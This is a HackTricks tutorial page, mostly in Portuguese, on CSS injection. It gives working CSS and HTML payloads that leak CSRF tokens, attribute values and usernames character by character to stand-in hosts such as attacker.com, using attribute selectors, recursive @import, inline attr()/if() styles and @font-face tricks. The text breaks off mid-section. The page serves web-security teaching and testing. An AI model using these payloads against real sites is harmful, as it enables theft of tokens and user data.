CSS Injection
Reading time: 25 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: 
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure: 
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
 - Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
 - Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
 
CSS Injection
LESS Code Injection
LESS é um popular pré-processador CSS que adiciona variáveis, mixins, funções e a poderosa diretiva @import. Durante a compilação, o motor do LESS irá buscar os recursos referenciados em declarações @import e incorporar ("inline") seus conteúdos no CSS resultante quando a opção (inline) for usada.
{{#ref}} less-code-injection.md {{/ref}}
Seletor de Atributo
Seletores CSS são criados para corresponder aos valores dos atributos name e value de um elemento input. Se o atributo value do elemento input começar com um caractere específico, um recurso externo predefinido é carregado:
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
No entanto, essa abordagem enfrenta uma limitação ao lidar com elementos input ocultos (type="hidden") porque elementos ocultos não carregam backgrounds.
Bypass para Elementos Ocultos
Para contornar essa limitação, você pode direcionar um elemento irmão subsequente usando o combinador geral de irmãos ~ (general sibling combinator). A regra CSS então se aplica a todos os irmãos que seguem o elemento input oculto, fazendo com que a imagem de fundo seja carregada:
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
Um exemplo prático de exploração dessa técnica está detalhado no trecho de código fornecido. Você pode visualizá-lo here.
Pré-requisitos para CSS Injection
Para que a técnica de CSS Injection seja eficaz, certas condições devem ser atendidas:
- Payload Length: O vetor de injeção CSS deve suportar payloads suficientemente longos para acomodar os seletores construídos.
 - CSS Re-evaluation: Você deve ter a capacidade de incluir a página em um frame, o que é necessário para acionar a reavaliação do CSS com payloads recém-gerados.
 - External Resources: A técnica pressupõe a capacidade de usar imagens hospedadas externamente. Isso pode ser restrito pela Content Security Policy (CSP) do site.
 
Blind Attribute Selector
Como explained in this post, é possível combinar os seletores :has e :not para identificar conteúdo mesmo de elementos blind. Isso é muito útil quando você não tem ideia do que há dentro da página web que carrega a CSS injection.
Também é possível usar esses seletores para extrair informação de vários blocos do mesmo tipo, como em:
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />
Combinando isto com a seguinte técnica @import, é possível exfiltrar muita info using CSS injection from blind pages with blind-css-exfiltration.
@import
A técnica anterior tem algumas desvantagens, verifique os pré-requisitos. Você precisa ou ser capaz de send multiple links to the victim, ou ser capaz de iframe the CSS injection vulnerable page.
No entanto, há outra técnica inteligente que usa CSS @import para melhorar a qualidade da técnica.
Isto foi mostrado pela primeira vez por Pepe Vila e funciona assim:
Em vez de carregar a mesma página várias vezes com dezenas de payloads diferentes cada vez (como na técnica anterior), vamos load the page just once and just with an import to the attackers server (este é o payload a enviar para a vítima):
@import url("//attacker.com:5001/start?");
- O import vai receber algum script CSS dos atacantes e o navegador irá carregá-lo.
 - A primeira parte do script CSS que o atacante enviará é outro @import para o servidor do atacante novamente.
 - O servidor do atacante não responderá a essa requisição ainda, pois queremos leak alguns chars e depois responder esse import com o payload para leak os próximos.
 - A segunda e maior parte do payload será um attribute selector leakage payload
 - Isso enviará para o servidor do atacante o primeiro char do segredo e o último
 - Uma vez que o servidor do atacante tenha recebido o primeiro e último char do segredo, ele irá responder o import solicitado no passo 2.
 - A resposta será exatamente a mesma que os passos 2, 3 e 4, mas desta vez tentará encontrar o segundo char do segredo e então o penúltimo.
 
O atacante seguir esse loop até conseguir leak completamente o segredo.
You can find the original Pepe Vila's code to exploit this here or you can find almost the same code but commented here.
tip
The script will try to discover 2 chars each time (from the beginning and from the end) because the attribute selector allows to do things like:
css /* value^= to match the beggining of the value*/ input[value^="0"] { --s0: url(http://localhost:5001/leak?pre=0); }
/* value$= to match the ending of the value*/ input[value$="f"] { --e0: url(http://localhost:5001/leak?post=f); }
This allows the script to leak the secret faster.
warning
Às vezes o script não detecta corretamente que o prefixo + sufixo descobertos já são a flag completa e ele continuará para frente (no prefixo) e para trás (no sufixo) e em algum momento vai travar.
Sem problemas, apenas verifique a output porque você pode ver a flag lá.
Inline-Style CSS Exfiltration (attr() + if() + image-set())
This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.
warning
Equality comparisons in if() require double quotes for string literals. Single quotes will not match.
- Sink: controlar o atributo style de um elemento e garantir que o atributo alvo esteja no mesmo elemento (attr() reads only same-element attributes).
 - Read: copiar o atributo para uma variável CSS: --val: attr(title).
 - Decide: selecionar uma URL usando condicionais aninhados comparando a variável com candidatos string: --steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2)).
 - Exfiltrate: aplicar background: image-set(var(--steal)) (ou qualquer propriedade que faça fetch) para forçar uma requisição ao endpoint escolhido.
 
Attempt (does not work; single quotes in comparison):
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
Payload funcional (aspas duplas obrigatórias na comparação):
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
Enumerando valores de atributos com condicionais aninhadas:
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
Demonstração realista (sondando nomes de usuário):
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
Notes and limitations:
- Funciona em navegadores baseados em Chromium na época da pesquisa; o comportamento pode diferir em outros engines.
 - Mais adequado para espaços de valores finitos/enumeráveis (IDs, flags, short usernames). Roubar strings arbitrariamente longas sem folhas de estilo externas continua sendo um desafio.
 - Qualquer propriedade CSS que recupere uma URL pode ser usada para acionar a requisição (por exemplo, background/image-set, border-image, list-style, cursor, content).
 
Automation: a Burp Custom Action pode gerar payloads inline-style aninhados para brute-force de valores de atributos: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
Outros seletores
Outras maneiras de acessar partes do DOM com CSS selectors:
- .class-to-search:nth-child(2): Isto irá buscar o segundo item com a classe "class-to-search" no DOM.
 - :empty selector: Usado por exemplo em this writeup:
 
css [role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }
Error based XS-Search
Reference: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq
A intenção geral é usar uma fonte customizada a partir de um endpoint controlado e garantir que o texto (neste caso, 'A') seja exibido com essa fonte somente se o recurso especificado (favicon.ico) não puder ser carregado.
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}
#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
- Uso de Fonte Personalizada:
 
- Uma fonte personalizada é definida usando a regra @font-face dentro de uma tag
 
HackTricks